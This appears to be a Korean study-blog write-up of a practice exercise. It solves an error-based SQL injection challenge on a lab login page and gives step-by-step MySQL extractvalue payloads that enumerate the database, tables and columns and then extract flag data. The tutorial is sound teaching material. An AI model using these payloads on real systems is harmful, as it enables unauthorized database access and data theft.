Error based SQLi 연습 문제 2

gyub·2025년 5월 27일
0

모의해킹 스터디

목록 보기
17/31

1️⃣ SQLi 포인트 찾기

문제는 다음과 같습니다

계정이 하나 주어지고, 이걸 이용해 flag를 찾아야 하는 것 같네요

먼저 주어진 계정으로 로그인 해 request나 response에 특별한 점은 없는지 관찰합니다

딱히 특별한 점 없이 잘 로그인 되었습니다

Error based sqli가 가능한 지 알아보기 위해 아이디에 normaltic' 을 입력해 보았습니다

에러메시지가 출력되는 것을 보아 가능할 것 같습니다

아이디에 normaltic' and '1'='1 입력했을 때 역시 잘 로그인 되는 것을 보아 SQLi 포인트가 맞는 것은 확인하였습니다

2️⃣ 에러 출력 함수

error based sqli를 하려면 에러를 출력할 함수가 필요합니다

이때 활용할 함수는 사용하는 데이터베이스마다 다릅니다

우리는 MySQL을 사용하고 있기 때문에, extractvalue 함수를 활용합니다

XPATH 표현식을 작성해야 할 부분에 틀린 접두사(콜론)와 SQL문을 이어붙여 원하는 SQL문이 실행되도록 할 것입니다

3️⃣ 공격 포맷 작성

이제 본격적인 SQLi를 위해 공격 포맷을 만들어 보겠습니다

normaltic' and extractvalue('1', concat(0x3a, (_SQL문_))) and '1'='1

4️⃣ DB 이름 찾기

DB 이름은 select database() 로 찾습니다

위에서 만든 공격 포맷에 이 SQL문을 끼워넣으면 아래와 같습니다

normaltic' and extractvalue('1', concat(0x3a, (select database()))) and '1'='1

이제 이 SQL문을 아이디로 입력해 로그인 시도를 해보겠습니다

sqli_2_1 라는 DB 명을 찾았습니다

5️⃣ 테이블 이름 찾기

DB 이름을 찾았으니 이제 이걸 이용해 테이블을 찾아보도록 하겠습니다

테이블을 찾는 sql문은 아래와 같습니다

SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = 'sqli_2_1'

이 SQl문을 포맷에 끼우면 이렇게 되겠네요

normaltic' and extractvalue('1', concat(0x3a, (SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = 'sqli_2_1'))) and '1'='1

아이디에 넣어 로그인 시도를 해보겠습니다

테이블이 여러 개인 것 같으니 limit 을 이용해 하나씩 살펴보겠습니다

  1. 첫번째

normaltic' and extractvalue('1', concat(0x3a, (SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = 'sqli_2_1' limit 0,1))) and '1'='1

flag_table 이라는 테이블을 발견했습니다

  1. 두번째

normaltic' and extractvalue('1', concat(0x3a, (SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = 'sqli_2_1' limit 1,1))) and '1'='1

member 라는 테이블을 발견했습니다

6️⃣ 컬럼 이름 찾기

테이블 이름을 찾았으니 이제 이걸 이용해 컬럼 이름을 찾아보도록 하겠습니다

컬럼을 찾는 sql문은 아래와 같습니다

SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='flag_table'

이 SQl문을 공격 포맷에 끼우면 이렇게 되겠네요

normaltic' and extractvalue('1', concat(0x3a,(SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='flag_table'))) and '1'='1

아이디에 넣어 로그인 시도를 해보겠습니다

결과가 여러 개인 것 같으니 limit 을 이용해 하나씩 살펴보겠습니다

  1. 첫번째

normaltic' and extractvalue('1', concat(0x3a,(SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='flag_table' limit 0,1))) and '1'='1

flag1 이라는 컬럼을 찾았습니다

  1. 두번째

normaltic' and extractvalue('1', concat(0x3a,(SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='flag_table' limit 1,1))) and '1'='1

flag2 라는 컬럼을 찾았습니다

  1. 세번째

normaltic' and extractvalue('1', concat(0x3a,(SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='flag_table' limit 2,1))) and '1'='1

flag3 이라는 컬럼을 찾았습니다

  1. 네번째

normaltic' and extractvalue('1', concat(0x3a,(SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='flag_table' limit 3,1))) and '1'='1

flag4 라는 컬럼을 찾았습니다

컬럼이 꽤 많은 것 같아 burp suite의 인트루더 기능을 사용해 빠르게 테스트 해보았습니다

총 flag 1~8까지 총 8개의 컬럼이 있었습니다

7️⃣ 데이터 추출하기

테이블과 컬럼 명을 알았으니 이제 데이터를 추출해보겠습니다

데이터를 추출하는 sql문은 select flagN from flag_table 이니,

공격 포맷에 끼워 인트루더를 활용해 빠르게 시도해보겠습니다

normaltic' and extractvalue('1', concat(0x3a, (select flagN from flag_table))) and '1'='1

extractvalue 는 32글자 제한이 있어 플래그가 flag1부터 flag8까지 나누어져 들어가 있습니다

이 결과들을 모두 모아 이어 붙이면 플래그가 됩니다

0개의 댓글